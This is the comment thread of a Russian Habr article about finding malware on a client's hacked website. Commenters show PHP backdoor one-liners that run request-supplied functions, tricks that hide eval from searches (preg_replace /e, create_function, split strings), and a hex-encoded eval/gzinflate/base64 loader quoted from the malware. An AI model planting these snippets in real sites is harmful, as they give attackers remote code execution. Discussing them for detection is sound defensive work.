Как стать автором
Обновить

Куда смотреть если сайт постоянно взламывают, или как я отлавливал зловреда на сайте одного из клиентов

Время на прочтение4 мин
Количество просмотров13K
Всего голосов 50: ↑15 и ↓35-20
Комментарии14

Комментарии 14

НЛО прилетело и опубликовало эту надпись здесь
Учитывая что автор говносимволами назвал кодировку base64, можно предположить, что почта ему приходит по большей части в говне.
А зачем деобфусцировать шелл, если разбираться в сортах кодировок можно и в другом месте?
Выражение добавлено не отвращения ради а юмора для :)
> Убрал формулировку «говносимволы», дабы не обижать особо впечатлительных.
А такая формиулировка — это откровенное хамство уже.
Во-первых, обижать. Во-вторых «особо впечатлительных».
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
Я и не говорил что eval() в битриксе не используется вообще, он там используется значительно реже многих других популярных в битриксе конструкций.
Поиск по eval может и не помочь, если сделать например, вот так:
$text = 'echo "hello";';
$text = preg_replace(
    '((.*))e',
    'e' . 'v' . 'a' . 'l' . '("$1")',
    $text
);

Если не ошибаюсь, то до версии php 5.5 будет вполне работать
В самом простом случае закладка может выглядеть так:
<? $_REQUEST['func']($_REQUEST['param'])
Хотя в таком случае не будет работать eval. Но функция create_function позволяет обойти это ограничение:
<? $eval = create_function('$a','eval($a);');
Из обычной строки, которая может быть закодирована любым образом (или передана вместе с запросом), получается функция eval.
Еще
create_function('$o', 'return ev'.'al($o);');
и overrride_function()
НЛО прилетело и опубликовало эту надпись здесь
> eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B");
> HEX символозаменители видны невооруженным взглядом. Превратить их в удобочитаемый невооруженным взглядом текст поможет любой HEX декодер, я пользовался этим.

Прям я сорву покровы сейчас: echo "\x65\x76...\x29\x3B"; выведет нам содержимое этой строки в читаемом виде так, как оно и будет передано в eval(). Иначе eval() не отработает же ж.
javascript:document.write("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); в браузере
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории